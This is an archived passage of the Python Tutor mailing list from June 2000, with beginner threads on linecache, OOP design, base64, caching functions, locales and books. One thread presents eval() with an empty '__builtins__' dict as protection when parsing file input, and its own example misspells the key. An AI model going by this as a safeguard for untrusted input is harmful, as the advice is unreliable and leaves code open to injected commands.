resolved.&nbsp;&nbsp;<SPAN class=517431910-12052000>Welcome to the real world -- 
</SPAN>Join the debate.&nbsp; (Robert Scheer)</FONT></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01BFD12C.D51B0FF0--


From scarblac@pino.selwerd.nl  Thu Jun  8 10:52:07 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 8 Jun 2000 11:52:07 +0200
Subject: [Tutor] Capturing assert source code line
In-Reply-To: <29AFCA3055BDD211B96A00902745FFA0B3C387@S1MAIL1>; from DanK@CapitalStream.com on Thu, Jun 08, 2000 at 02:35:00AM -0700
References: <29AFCA3055BDD211B96A00902745FFA0B3C387@S1MAIL1>
Message-ID: <20000608115207.A27404@pino.selwerd.nl>

On Thu, Jun 08, 2000 at 02:35:00AM -0700, Daniel Knierim wrote:
> <code object fassert at xxxxxx, file "fassert.py", line 1>
> >>>next_frame.f_lineno
> 2

> --- end of interpreter fragment
>  
> So I see how to retrieve most of the information the interpreter displays in
> its exception traceback.
>  
> Now my question is -- how can I capture the source code line that hit the
> assertion?  ("assert v, `v`" in this example). 

The interpreter just looks up the line in the file (try it - import fassert
first, then change fassert.py to random noise - the traceback will show the
noise).

So you can reconstruct it with the code object (its co_filename variable)
and the lineno from the frame.

This is also the reason why the interpreter only shows the first line if
your expression spans multiple lines... very annoying.

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From scarblac@pino.selwerd.nl  Thu Jun  8 11:10:07 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 8 Jun 2000 12:10:07 +0200
Subject: [Tutor] Capturing assert source code line
In-Reply-To: <20000608115207.A27404@pino.selwerd.nl>; from scarblac@pino.selwerd.nl on Thu, Jun 08, 2000 at 11:52:07AM +0200
References: <29AFCA3055BDD211B96A00902745FFA0B3C387@S1MAIL1> <20000608115207.A27404@pino.selwerd.nl>
Message-ID: <20000608121007.A27451@pino.selwerd.nl>

On Thu, Jun 08, 2000 at 11:52:07AM +0200, Remco Gerlich wrote:
> So you can reconstruct it with the code object (its co_filename variable)
> and the lineno from the frame.
> 
> This is also the reason why the interpreter only shows the first line if
> your expression spans multiple lines... very annoying.

Actually, I was looking at the source because of this (Lib/traceback.py),
and it finds the line from the file by using the linecache module.

So
import linecache
print linecache.getline(filename, lineno) 
should work.

This module looks in the module path, and checks if files have changed since
last accessed. Oddly enough, I can't get it to show the changed file until I
actually let it show an exception, so I haven't found out everything yet.
But showing the file as it was when the module was compiled is what you want
anyway :)

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From steve@spvi.com  Thu Jun  8 13:11:43 2000
From: steve@spvi.com (Steve Spicklemire)
Date: Thu, 8 Jun 2000 07:11:43 -0500 (EST)
Subject: [Tutor] Python installation woes
In-Reply-To: <393EDD5B.A56F0AAA@chyden.net> (message from Charlemagne Evans on
 Wed, 07 Jun 2000 19:40:11 -0400)
Message-ID: <200006081211.HAA30066@mercury.spvi.com>

Hi Charlemagne,

	I'd try the pythonmac sig. I've not tried 9.0.4, but
it certainly works OK on 9.0. It sounds like it's having trouble
finding it's libraries. Did you immediately run Python
after installing it? 

thanks,
-steve



From Thomas_A._Williams@NEWYORKLIFE.COM  Thu Jun  8 17:40:39 2000
From: Thomas_A._Williams@NEWYORKLIFE.COM (Thomas A. Williams)
Date: Thu, 8 Jun 2000 12:40:39 -0400
Subject: [Tutor] PYTHON OOP First Project - Coke Machine
Message-ID: <852568F8.005B9FD1.00@Email.NewYorkLife.com>

Hi All,
I'm a newbie to PYTHON. For my first  Python
project,  I am embarking on a OOP project using
Python to simulate a Coca-Cola (or Pepsi  :-)
vending machine.  Does anyone have any suggestions,
directions, or ideas to get me started?  Is there any
existing code (any type of vending machine)
available which I may be able to study?
Any information will be greatly appreciated.
Thanks in Advance,
Enjoy The Journey,
TomW




From wilson@visi.com  Thu Jun  8 17:55:13 2000
From: wilson@visi.com (Timothy Wilson)
Date: Thu, 8 Jun 2000 11:55:13 -0500 (CDT)
Subject: [Tutor] PYTHON OOP First Project - Coke Machine
In-Reply-To: <852568F8.005B9FD1.00@Email.NewYorkLife.com>
Message-ID: <Pine.GSO.4.10.10006081153430.20-100000@isis.visi.com>

On Thu, 8 Jun 2000, Thomas A. Williams wrote:

> I'm a newbie to PYTHON. For my first  Python
> project,  I am embarking on a OOP project using
> Python to simulate a Coca-Cola (or Pepsi  :-)
> vending machine.  Does anyone have any suggestions,
> directions, or ideas to get me started?  Is there any
> existing code (any type of vending machine)
> available which I may be able to study?
> Any information will be greatly appreciated.

You will probably find Alan Gauld's bank account example helpful. Look at
the "Object Oriented Programming" section of his tutorial at
http://www.crosswinds.net/~agauld/

Good luck.

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From alan.gauld@bt.com  Thu Jun  8 17:58:55 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 8 Jun 2000 17:58:55 +0100
Subject: [Tutor] Re: OOP book recommendation
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D18E@mbtlipnt02.btlabs.bt.co.uk>

> > I'm not going to be a real Code Jock, but I need to know 
> how to design 
> > systems/software. I've found the book very useful and it's fun to 
> > read.  The author has a very accessible writing style.
> 
> Since a lot of the reasons certain designs will work well (or not) is
> something gained with experience as a hacker ....
>  I am not convinced one can learn anything other
> than the rudiments of OOP design without being one.

For OOP I agree. But OO Design and UML in particular can be used 
for much more than OOP. The poster described his objective as 
doing OOD not OOP. In my day job I use OOD to design large call 
centres and web sites using UML, but no code is written. Components 
bought from suppliers are represented as objects with their API's 
represented as methods. Inheritance is even used in some(a few) 
scenarios to describe how different call types are handled - each 
call type being subclassed from a generic call...

Thus studying OOD can be a distinct activity from studying OOP, 
or even design for OOP.

OTOH If you really want to describe the innards of a software 
system there is no substitute for hands on experience. I once 
worked on a system where the requirements and high level design 
were done by a team with no coding experience - it was a disaster 
and the programmers wound up ignoring the design and hacking 
together something based on the requirements spec...

This seems to be moving a little off topic though, probably more relevant on
comp.software-eng... so I'll shut up!:-)

Alan G.


From Moshe Zadka <moshez@math.huji.ac.il>  Thu Jun  8 18:33:39 2000
From: Moshe Zadka <moshez@math.huji.ac.il> (Moshe Zadka)
Date: Thu, 8 Jun 2000 20:33:39 +0300 (IDT)
Subject: [Tutor] PYTHON OOP First Project - Coke Machine
In-Reply-To: <852568F8.005B9FD1.00@Email.NewYorkLife.com>
Message-ID: <Pine.GSO.4.10.10006082025210.15963-100000@sundial>

On Thu, 8 Jun 2000, Thomas A. Williams wrote:

> Hi All,
> I'm a newbie to PYTHON. For my first  Python
> project,  I am embarking on a OOP project using
> Python to simulate a Coca-Cola (or Pepsi  :-)
> vending machine.  Does anyone have any suggestions,
> directions, or ideas to get me started?  Is there any
> existing code (any type of vending machine)
> available which I may be able to study?
> Any information will be greatly appreciated.

Well, standard OO design practice is to first think: what does a vending
machine *do*? IOW, what is the interface of a vending machine?

Well, you can have a look at the vending machine, and see items are
available and what each costs. That would imply methods:

.get_products() -> List of products (say strings, at the moment)

and

.cost(item) -> integer

The other thing, a vending machine does *not* show you how much Coke cans
are in the machine, but it does light a LED to show you if an item is not
availble:

.available(item) -> boolean

Now, you should be able to buy from the machine:

.buy(item, account) -> void

What is an account? It is a representation of someone's bank account, so
the coke machine can take out the costs of the item.
What is the interface of an account?

.deposit(amount) -> void
.withdraw(amount) -> void
.available() -> integer

A complete implementation would probably use the pickle module, together
with the shelve module, to present an interface like

>>> user moshez buys coke
>>> user moshez buys coke
Error: no more cokes
>>> user moshez buys sprite
Error: moshez has no more money
>>> user moshez works
>>> user moshez buys sprite

(Use the cmd module for this kind of work. With enough sophistication, you
may write a virtual coke machine, available through the web (use cgi
module for that))

--
Moshe Zadka <moshez@math.huji.ac.il>
http://www.oreilly.com/news/prescod_0300.html
http://www.linux.org.il -- we put the penguin in .com



From dnickol@home.com  Thu Jun  8 18:57:11 2000
From: dnickol@home.com (Devin Nickol)
Date: Thu, 08 Jun 2000 12:57:11 -0500
Subject: [Tutor] Python and Sockets: Client/Server code?
Message-ID: <3.0.6.32.20000608125711.007b0970@netmail.home.com>

Hi! 
	I've read the Official HowTo on the SocketServer module and whatever online
Python-related socket stuff I could find. I am interested in creating a
server to
run on my Linux box which will accept connections on a specified port. It
will need
to handle multiple simultaneous connections. Does anyone have some sample
code lying
around demonstrating how to do this from both the client and the server
side? It 
doesn't have to be a fancy example...just showing how to handle several
connections.
None of the on-line material contained exactly what I need.

Thanks a bunch!

Devin Nickol
dnickol@home.com



From mwpfab5@collins.rockwell.com  Thu Jun  8 21:11:04 2000
From: mwpfab5@collins.rockwell.com (mwpfab5@collins.rockwell.com)
Date: Thu, 8 Jun 2000 15:11:04 -0500
Subject: [Tutor] ?
Message-ID: <OFEF84E441.89E5DC87-ON862568F8.006D32DB@collins.rockwell.com>

Looking for suggestions on the best route to take when trying to do a
comparison in python.    Basically my function
is going to from the word level, bit level, instance level and then to the mask level and will do a comparison and if it doesnt
find a matter it will need to append the new info at the end.




From theanh@webteam.vnn.vn  Thu Jun  8 17:08:53 2000
From: theanh@webteam.vnn.vn (Hoang The Anh)
Date: Fri, 09 Jun 2000 02:08:53 +1000
Subject: [Tutor] Please help me
Message-ID: <393FC515.174040BE@webteam.vnn.vn>

Now, I can't encode string by using base64 modulle. I want cat (used
Unix command) one file then encode this string) .
Could you give me one example to carry out this case.

Thank for you help!!!!!!!!!!!!!



From jcm@bigskytel.com  Sat Jun 10 08:04:19 2000
From: jcm@bigskytel.com (David Porter)
Date: Sat, 10 Jun 2000 01:04:19 -0600
Subject: [Tutor] Please help me
In-Reply-To: <393FC515.174040BE@webteam.vnn.vn>; from theanh@webteam.vnn.vn on Fri, Jun 09, 2000 at 02:08:53AM +1000
References: <393FC515.174040BE@webteam.vnn.vn>
Message-ID: <20000610010419.B7491@bigskytel.com>

* Hoang The Anh <theanh@webteam.vnn.vn>:

> Now, I can't encode string by using base64 modulle. I want cat (used
> Unix command) one file then encode this string) .
> Could you give me one example to carry out this case.

If I understand what you want, you do not need to use cat:

import base64

text = open('a_file').read()
encoded_text = base64.encodestring(text)
print encoded_text

> Thank for you help!!!!!!!!!!!!!

  david.!!!!!!!!!

-- 
Foreword from is either complicated. -- e.e.cummings in a blender


From andre@beta.telenordia.se  Sat Jun 10 15:32:12 2000
From: andre@beta.telenordia.se (=?iso-8859-1?Q?Andr=E9_Dahlqvist?=)
Date: Sat, 10 Jun 2000 16:32:12 +0200
Subject: [Tutor] Dial-up time logger
Message-ID: <20000610163212.A16889@beta.telenordia.se>

Hi

I'm going to write a program that records the time I spend online. I
know such programs already exist, but I'd like to write one myself in
python.

I have planned to simply do a start = time.time() when the connection
starts and end = time.time() when it ends, and then compare those two
values, perhaps dividing them with 60 to get time in minutes. Then I
would like to store the value in a dictionary, with the current date as
a key in this format:

time.strf("%Y-%m-%d", time.localtime(time.time())

Then I could use cPickle to store this dictionary in a file. I know how
to have a program or command run when I go online, and a program run
when I go offline, but how to I tie them together? I could write a
program that would start when I get connected, and store the time when
then happened. And then have another program kill the first program
when I go offline. But how would I then store the time I went offline?
-- 

// André


From Moshe Zadka <moshez@math.huji.ac.il>  Sat Jun 10 16:34:18 2000
From: Moshe Zadka <moshez@math.huji.ac.il> (Moshe Zadka)
Date: Sat, 10 Jun 2000 18:34:18 +0300 (IDT)
Subject: [Tutor] Dial-up time logger
In-Reply-To: <20000610163212.A16889@beta.telenordia.se>
Message-ID: <Pine.GSO.4.10.10006101831520.6252-100000@sundial>

On Sat, 10 Jun 2000, [iso-8859-1] Andr=E9 Dahlqvist wrote:

> know such programs already exist, but I'd like to write one myself in
> python.

Here's an idea: have the program running when you go online put the value
of time.time() in a file in your home directory, and the program running
when you go offline read that value, subtract it from the current
time.time(), and store that time in the persistent dictionary. BTW:
instead of using cPickle, why not use shelve? It's much better suited to
this kind of task. (It's really a brain-dead interface between cPickle and
dbm's, but it's cleaner to use)

--
Moshe Zadka <moshez@math.huji.ac.il>
http://www.oreilly.com/news/prescod_0300.html
http://www.linux.org.il -- we put the penguin in .com



From stevenz@radiolink.net  Sat Jun 10 22:05:50 2000
From: stevenz@radiolink.net (Breno)
Date: Sat, 10 Jun 2000 18:05:50 -0300
Subject: [Tutor] Programming books
Message-ID: <3942ADAE.ADE5CF7C@radiolink.net>

Hello,

  I'd like to know some books to learn programming with Python. I know
the classics "The Art of Computer Programming" (TAOCP), but I'd like
something Python-centered and also convering OO, data structures and
algorithms. 

Thanks,

Stevenz


From shaleh@valinux.com  Sun Jun 11 03:35:47 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Sat, 10 Jun 2000 19:35:47 -0700
Subject: [Tutor] Programming books
In-Reply-To: <3942ADAE.ADE5CF7C@radiolink.net>; from stevenz@radiolink.net on Sat, Jun 10, 2000 at 06:05:50PM -0300
References: <3942ADAE.ADE5CF7C@radiolink.net>
Message-ID: <20000610193547.B19498@valinux.com>

On Sat, Jun 10, 2000 at 06:05:50PM -0300, Breno wrote:
> Hello,
> 
>   I'd like to know some books to learn programming with Python. I know
> the classics "The Art of Computer Programming" (TAOCP), but I'd like
> something Python-centered and also convering OO, data structures and
> algorithms. 
> 

O'Reilly's "Programming Python" is still the best one out.


From miteshnraval@yahoo.com  Sun Jun 11 18:38:57 2000
From: miteshnraval@yahoo.com (mitesh raval)
Date: Sun, 11 Jun 2000 10:38:57 -0700 (PDT)
Subject: [Tutor] "art of computer programming"
Message-ID: <20000611173857.26252.qmail@web4804.mail.yahoo.com>

hi friends,
i am a total newbie at programming on computers,but i
have programmed my calculator.so i want to know that
should i start to learn Python or read any book like
"art of computer programming".
also tell me where can i find such books b'coz i live
in india.
mitesh.

__________________________________________________
Do You Yahoo!?
Yahoo! Photos -- now, 100 FREE prints!
http://photos.yahoo.com


From dyoo@hkn.EECS.Berkeley.EDU  Sun Jun 11 19:08:07 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Sun, 11 Jun 2000 11:08:07 -0700 (PDT)
Subject: Subject [Tutor] Programming books
In-Reply-To: <20000611160008.542621CDEA@dinsdale.python.org>
Message-ID: <Pine.LNX.4.21.0006111103540.28720-100000@hkn.EECS.Berkeley.EDU>

>   I'd like to know some books to learn programming with Python. I know
> the classics "The Art of Computer Programming" (TAOCP), but I'd like
> something Python-centered and also convering OO, data structures and
> algorithms. 

I know this isn't Python related, but "The Structure and Interpretation of
Computer Programs", by Abelson and Sussman, has to be one of the best
books on learning computer programming ever written.  It's based on
Scheme, but the ideas transfer well to Python.  It's the introductory
textbook for CS at Berkeley, MIT, and a bunch of other colleges.



From dyoo@hkn.EECS.Berkeley.EDU  Mon Jun 12 08:26:33 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Mon, 12 Jun 2000 00:26:33 -0700 (PDT)
Subject: [Tutor] a caching function and argument passing
Message-ID: <Pine.LNX.4.21.0006120011420.1744-100000@hkn.EECS.Berkeley.EDU>

After reading a little of Peter Norvig's "Paradigms of Artificial
Intelligence", I've been playing around with equivalent programs in
Python.  One of these include a "caching function generator", a general
program that caches the results of another:

def makeCachedFn(fn):
    cache = {}
    def newfn(arg, fn=fn, cache=cache):
        if not cache.has_key(arg):
            cache[arg] = fn(arg)
        return cache[arg]
    return newfn

As you can see, this will cache f(x), and works pretty well.  For example:

  def factorial(x):
    if x == 0: return 1
    else: return x * factorial(x-1)
  factorial = makeCachedFn(factorial)
 
does a very nice job in eliminating the cost of subsequent function
calls.

The problem I'm running into is in trying to generalize the generator for
functions with an arbitrary number of arguments.  I've tried to do
something like:

  def newfun(*args, fn=fn, cache=cache)

but in Python 1.52, this is an illegal signature, since optional
parameters go at the end.  I tried:

  def newfun(fn=fn, cache=cache, *args)

but that apparently doesn't work either, because default arguments have
priority in getting assigned first.  Basically, I've been using the
default arguments to simulate closures, but it's not quite working.

Any help on this would be greatly appreciated.  Thank you!



From scarblac@pino.selwerd.nl  Mon Jun 12 10:26:37 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 12 Jun 2000 11:26:37 +0200
Subject: [Tutor] a caching function and argument passing
In-Reply-To: <Pine.LNX.4.21.0006120011420.1744-100000@hkn.EECS.Berkeley.EDU>; from dyoo@hkn.EECS.Berkeley.EDU on Mon, Jun 12, 2000 at 12:26:33AM -0700
References: <Pine.LNX.4.21.0006120011420.1744-100000@hkn.EECS.Berkeley.EDU>
Message-ID: <20000612112637.A1127@pino.selwerd.nl>

On Mon, Jun 12, 2000 at 12:26:33AM -0700, Daniel Yoo wrote:
> After reading a little of Peter Norvig's "Paradigms of Artificial
> Intelligence", I've been playing around with equivalent programs in
> Python.  One of these include a "caching function generator", a general
> program that caches the results of another:
> 
> def makeCachedFn(fn):
>     cache = {}
>     def newfn(arg, fn=fn, cache=cache):
>         if not cache.has_key(arg):
>             cache[arg] = fn(arg)
>         return cache[arg]
>     return newfn
> 
> As you can see, this will cache f(x), and works pretty well.  For example:
> 
>   def factorial(x):
>     if x == 0: return 1
>     else: return x * factorial(x-1)
>   factorial = makeCachedFn(factorial)
>  
> does a very nice job in eliminating the cost of subsequent function
> calls.
> 
> The problem I'm running into is in trying to generalize the generator for
> functions with an arbitrary number of arguments.  I've tried to do
> something like:
> 
>   def newfun(*args, fn=fn, cache=cache)
> 
> but in Python 1.52, this is an illegal signature, since optional
> parameters go at the end.  I tried:
> 
>   def newfun(fn=fn, cache=cache, *args)
> 
> but that apparently doesn't work either, because default arguments have
> priority in getting assigned first.  Basically, I've been using the
> default arguments to simulate closures, but it's not quite working.
> 
> Any help on this would be greatly appreciated.  Thank you!

Here, I would make it into a class, default arguments can't do everything.
If you give a class a __call__ method, you can use its instances as
functions.

class makeCachedFn:
   def __init__(self, fn):
       self.fn = fn
	   self.cache = {}
   def __call__(self, *args):
       if not self.cache.has_key(args):
	       self.cache[args] = apply(self.fn, args)
	   return self.cache[args]

Now you can make __getitem__ too, and do for loops over the function :)
-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From alan.gauld@bt.com  Mon Jun 12 17:21:06 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Mon, 12 Jun 2000 17:21:06 +0100
Subject: [Tutor] "art of computer programming"
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D19D@mbtlipnt02.btlabs.bt.co.uk>

> i am a total newbie at programming on computers,but i
> have programmed my calculator.so i want to know that
> should i start to learn Python

You could try my web page at:

http://www.crosswinds.net/~agauld/

Which us designed for total beginners. There are several books 
which should be readable after that. Currently the best for 
beginners is Ivan Lannignghams 'Teach Yourself python in 24 Hours'

> or read any book like
> "art of computer programming".

I would NOT recommend that for a beginner - thats a fairly 
heavy mathematical based look at programming which whilst 
being a 'classic' is not a book(or actually a series of books) 
from which to learn to program.

> also tell me where can i find such books b'coz i live
> in india.

Since you can send email I assume you can read the web so you 
could try Amazon.com or any other online bookstore. 
What postage costs/times to India would be I have no idea!
Also, since the software industry in India is second only to the 
USA I would expect Indian bookshops to hold a reasonable stock.

Alan g.



From ivanlan@home.com  Mon Jun 12 18:57:15 2000
From: ivanlan@home.com (Ivan Van Laningham)
Date: Mon, 12 Jun 2000 11:57:15 -0600
Subject: [Tutor] "art of computer programming"
References: <5104D4DBC598D211B5FE0000F8FE7EB20751D19D@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <3945247B.FDB36920@home.com>

Hi All--

alan.gauld@bt.com wrote:
> 

[snip]

> > also tell me where can i find such books b'coz i live
> > in india.
> 
> Since you can send email I assume you can read the web so you
> could try Amazon.com or any other online bookstore.
> What postage costs/times to India would be I have no idea!
> Also, since the software industry in India is second only to the
> USA I would expect Indian bookshops to hold a reasonable stock.
> 

I've seen Indian editions of many programming books for just a few
rupees.  I think my friend Nayan said they usually cost the equivalent
of $2 or $3.  They're in English; I think there's a thriving industry in
India dedicated to republishing (on cheaper paper) enough computer books
there to keep everyone happy.

Dunno about Python books, though.

<it'd-be-a-tough-job-printing-spam-n-eggs-in-devanagari>-ly y'rs,
Ivan
----------------------------------------------
Ivan Van Laningham
Axent Technologies, Inc.
http://www.pauahtun.org 
http://www.foretec.com/python/workshops/1998-11/proceedings.html
Army Signal Corps:  Cu Chi, Class of '70
Author:  Teach Yourself Python in 24 Hours


From tourinho@descartes.ucpel.tche.br  Mon Jun 12 19:21:42 2000
From: tourinho@descartes.ucpel.tche.br (Gustavo Passos Tourinho)
Date: Mon, 12 Jun 2000 15:21:42 -0300 (EST)
Subject: [Tutor] Help with files
Message-ID: <Pine.LNX.3.96.1000612151559.13720A-100000@descartes.ucpel.tche.br>

Hi everyone

I need read a line from a file, and pass to a method.
For example

file example.txt
(('q0','a'),'q1')
(('q0','b'),'q2')
(('q0','c'),'q3')

I need put this line into a tuples like...
('q0','a'): 'q1' ....

when I do this
line=f.readline()

line comes iqual to "(('q0','a'), 'q1')"

Finally my question :)

How can i took off this damn " to put the line into a tuples


thanks for any help



From scarblac@pino.selwerd.nl  Mon Jun 12 19:53:33 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 12 Jun 2000 20:53:33 +0200
Subject: [Tutor] Help with files
In-Reply-To: <Pine.LNX.3.96.1000612151559.13720A-100000@descartes.ucpel.tche.br>; from tourinho@descartes.ucpel.tche.br on Mon, Jun 12, 2000 at 03:21:42PM -0300
References: <Pine.LNX.3.96.1000612151559.13720A-100000@descartes.ucpel.tche.br>
Message-ID: <20000612205333.A1416@pino.selwerd.nl>

On Mon, Jun 12, 2000 at 03:21:42PM -0300, Gustavo Passos Tourinho wrote:
> I need read a line from a file, and pass to a method.
> For example
> 
> file example.txt
> (('q0','a'),'q1')
> (('q0','b'),'q2')
> (('q0','c'),'q3')
> 
> I need put this line into a tuples like...
> ('q0','a'): 'q1' ....
> 
> when I do this
> line=f.readline()
> 
> line comes iqual to "(('q0','a'), 'q1')"

Actually, it will usually have a \n at the end too.

> Finally my question :)
> 
> How can i took off this damn " to put the line into a tuples

The easiest way is eval().

>>> line = "(('q0','a'),'q1')"
>>> eval(line)
(('q0','a'),'q1')
>>>

But you have to be careful if other people can make those files. Since line
could be any Python expression, it could be a command to remove all your
files, that sort of thing. But if the files are always going to be simple
lines like that, eval() will work fine.

Otherwise you'll have to look at the string and reconstruct a tuple from it
yourself.

-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From arcege@shore.net  Mon Jun 12 20:39:43 2000
From: arcege@shore.net (Michael P. Reilly)
Date: Mon, 12 Jun 2000 15:39:43 -0400 (EDT)
Subject: [Tutor] Help with files
In-Reply-To: <20000612205333.A1416@pino.selwerd.nl> from "Remco Gerlich" at Jun 12, 2000 08:53:33 PM
Message-ID: <200006121939.PAA16096@northshore.shore.net>

> 
> On Mon, Jun 12, 2000 at 03:21:42PM -0300, Gustavo Passos Tourinho wrote:
> > I need read a line from a file, and pass to a method.
> > For example
> > 
> > file example.txt
> > (('q0','a'),'q1')
> > (('q0','b'),'q2')
> > (('q0','c'),'q3')
> > 
> > I need put this line into a tuples like...
> > ('q0','a'): 'q1' ....
> > 
> > when I do this
> > line=f.readline()
> > 
> > line comes iqual to "(('q0','a'), 'q1')"
> 
> Actually, it will usually have a \n at the end too.
> 
> > Finally my question :)
> > 
> > How can i took off this damn " to put the line into a tuples
> 
> The easiest way is eval().
> 
> >>> line = "(('q0','a'),'q1')"
> >>> eval(line)
> (('q0','a'),'q1')
> >>>
> 
> But you have to be careful if other people can make those files. Since line
> could be any Python expression, it could be a command to remove all your
> files, that sort of thing. But if the files are always going to be simple
> lines like that, eval() will work fine.

The easiest way around this is: eval(line, {'__builtins__': {}})
This is so the input line cannot call internal commands.

Also, note that the input (after evaluation from the string) would be
a tuple of tuples, not a dictionary pair like you are asking about.

>>> f = eval(line, {'__builtins': {}})
>>> try:
...   key, value = f
...   dict[key] = value
... except ValueError:
...   print "not a two-ple"
...
>>> dict
{('q0', 'a'): 'q0'}
>>>

This seems more like what you were asking for?

  -Arcege

-- 
------------------------------------------------------------------------
| Michael P. Reilly, Release Manager  | Email: arcege@shore.net        |
| Salem, Mass. USA  01970             |                                |
------------------------------------------------------------------------


From andre@beta.telenordia.se  Mon Jun 12 22:54:27 2000
From: andre@beta.telenordia.se (=?iso-8859-1?Q?Andr=E9_Dahlqvist?=)
Date: Mon, 12 Jun 2000 23:54:27 +0200
Subject: [Tutor] locales and python
Message-ID: <20000612235427.A9620@beta.telenordia.se>

Hi again everyone,

In an application that I'm writing I have separated out messages
displayed to the user in order to ease translation. These messages are
currently stored in dictionaries, named after their language. They look
something like:

# English dictionary
en = {
"CANCEL":"Cancel",
"EXIT":"Exit",
... }

Then I'm going to create such dictionaries for other languages as well,
and have a variable called lang set to the users locale. This is where
I have some questions. I have checked the library reference, and python
has a module called locale. All I would have to know is what locale the
user is currently using, and if there is a translation for this
language I want to assign this dictionary to the lang variable.

In the library reference it says that to get the users locale you use:

users_locale = locale.setlocale(locale.LC_ALL, "")

On my system this sets users_locale to:

'LC_CTYPE'=sv_SE;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;
LC_MESSAGES=C'

The LC_CTYPE is correctly set to my locale sv_SE (because I have that
environment variable set.) So is it correct to assume that
locale.setlocale(locale.LC_CTYPE) will always return the locale that
the user is using? Also, there are different locales for the same
languages like 'sv' and 'sv_SE' for Swedish, 'en', 'en_US', 'en_GB' for
english, and so on. For my needs the same dictionary would work for
both british english and american english, and the same should apply to
other languages as well. So should I juse check the first two
characters of each locale?
-- 

// André


From shaleh@valinux.com  Tue Jun 13 20:38:36 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Tue, 13 Jun 2000 12:38:36 -0700 (PDT)
Subject: [Tutor] "art of computer programming"
In-Reply-To: <20000611173857.26252.qmail@web4804.mail.yahoo.com>
Message-ID: <XFMail.20000613123836.shaleh@valinux.com>

On 11-Jun-2000 mitesh raval wrote:
> hi friends,
> i am a total newbie at programming on computers,but i
> have programmed my calculator.so i want to know that
> should i start to learn Python or read any book like
> "art of computer programming".
> also tell me where can i find such books b'coz i live
> in india.
> mitesh.
> 

the art of computer programming by Knuth is a MASSIVE undertaking.  Quote on
the back reads "if you finish this book, send me your resume".  It is complex,
mathematically involved, heavy reading.  Not a "I don't know anything" book. 
Much more for the person who is looking for wisdom after understanding the path.


From bmikl0ua@htl.minic.ac.at  Fri Jun 16 09:34:35 2000
From: bmikl0ua@htl.minic.ac.at (Bernhard Miklautz)
Date: Fri, 16 Jun 2000 10:34:35 +0200
Subject: [Tutor] mailing list
Message-ID: <20000616083435133.AAA228@wood.minic.ac.at>

I want to be added into the mailing list, please.

        thx



From cangeles@mail.com  Fri Jun 16 23:01:48 2000
From: cangeles@mail.com (Carlos Angeles)
Date: Fri, 16 Jun 2000 18:01:48 -0400 (EDT)
Subject: [Tutor] mailing list
Message-ID: <381568543.961192908222.JavaMail.root@web301-mc.mail.com>

Bernhard,

I don't know if you've received a reply to your request yet but you can add
yourself to the mailing list at the address below.

cma

------Original Message------
From: tutor-request@python.org
To: tutor@python.org
Sent: June 16, 2000 4:01:08 PM GMT
Subject: Tutor digest, Vol 1 #338 - 1 msg


Send Tutor mailing list submissions to
tutor@python.org

To subscribe or unsubscribe via the World Wide Web, visit
http://www.python.org/mailman/listinfo/tutor
or, via email, send a message with subject or body 'help' to
tutor-request@python.org

You can reach the person managing the list at
tutor-admin@python.org

When replying, please edit your Subject line so it is more specific
than "Re: Contents of Tutor digest..."


Today's Topics:

1. mailing list (Bernhard Miklautz)

--__--__--

Message: 1
To: tutor@python.org
From: bmikl0ua@htl.minic.ac.at (Bernhard Miklautz)
Date: Fri, 16 Jun 2000 10:34:35 +0200
Subject: [Tutor] mailing list

I want to be added into the mailing list, please.

thx




--__--__--

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://www.python.org/mailman/listinfo/tutor


End of Tutor Digest_______________________________________________
Tutor maillist  -  Tutor@python.org
http://www.python.org/mailman/listinfo/tutor

______________________________________________
FREE Personalized Email at Mail.com
Sign up at http://www.mail.com/?sr=signup



From michaelbaker@operamail.com  Sat Jun 17 18:50:40 2000
From: michaelbaker@operamail.com (Michael Baker)
Date: Sat, 17 Jun 2000 13:50:40 -0400
Subject: [Tutor] import modules outside the Lib directory
Message-ID: <39F8FEDC@operamail.com>

I'm ultra new at programming - but boy is it fun so far!  How can I import 
modules that reside in directories outside the Lib directory? (this question 
is based on the default install locations for Python 1.5.2 on Windows and SGI 
Irix 6.5)

thanks.



From emile@fenx.com  Sat Jun 17 19:01:53 2000
From: emile@fenx.com (Emile van Sebille)
Date: Sat, 17 Jun 2000 11:01:53 -0700
Subject: [Tutor] import modules outside the Lib directory
References: <39F8FEDC@operamail.com>
Message-ID: <02b601bfd886$24a9fa80$1906a8c0@fc.fenx.com>

There are a number of different ways to do this.  Take
a look a site.py, as it explains some of the options.

You can always add something like:

addsitedir(r"D:\my\python\lib")

near the end os site.py as well.

Emile van Sebille
emile@fenx.com
-------------------


----- Original Message -----
From: "Michael Baker" <michaelbaker@operamail.com>
To: "tutor" <tutor@python.org>; <tutor-request@python.org>
Sent: Saturday, June 17, 2000 10:50 AM
Subject: [Tutor] import modules outside the Lib directory


> I'm ultra new at programming - but boy is it fun so far!
How can I import
> modules that reside in directories outside the Lib
directory? (this question
> is based on the default install locations for Python 1.5.2
on Windows and SGI
> Irix 6.5)
>
> thanks.
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
